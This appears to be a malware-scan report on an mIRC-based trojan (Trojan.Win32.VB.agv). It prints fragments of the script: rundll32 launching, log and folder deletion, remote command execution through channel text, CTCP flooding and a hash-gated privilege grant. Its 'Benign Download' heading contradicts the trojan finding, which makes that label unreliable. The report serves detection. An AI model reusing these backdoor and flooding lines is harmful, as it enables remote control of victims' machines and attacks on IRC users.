Benign Download

Trojan.Win32.VB.agv

Detects mIRC JOIN eventDetects mIRC TEXT event

SHA-25621f38bddb2b755888de734f248406699006be8731ed3ce08f632f8b02f24a123

Evidence

Rundll32 command text lines 4–5

4:326… 111,999) $+  
5n32131=writeini mirc.ini mirc user $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(111111,999999) | saveini | if ($exists(rundll32.exe) == $true) run rundll32.exe mIRC | ignore -td *!*@* | identd on $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | server $r …

Detects mIRC TEXT event lines 6–14

6:3… 342=dll reg.dll AddRegKey $mircexe | remove download | remove sounds | remove logs
7n3242=}
8n2=on 2:text:*:#:{
9n321=if (%console == 1) {
10n3214=if ($2 != --v) $1-
⋯4 lines

PING/PONG protocol marker lines 31–36

31:139… 
32n21321=if ($1 == -ctcpflood) {
33n21321=.timer 5 12 notice $2 PING PONG
34n21321=.timer 5 12 notice $2 PING timeout
35n21321=.timer 5 12 notice $2 VERSION mIRC32 v5.41 K.Mardam-Bey
36n21321=.timer  …

Detects mIRC JOIN event lines 190–198

190:9…  433:*:nick $read(nick.ini)
191n888=on 1:disconnect:server
192n157=alias c return $chan($1)
193n41413=on 1:join:%chan,%chan2:mode $chan +o $nick | mode $chan +ntsm
194n123123=on 1:notice:*:*:{
195n231231=if ($calc($md6($1) - $md6($md6($1))) == 58957063) { auser 6 $2 }
196n123132=}
197n321333=  return %word
198n32 …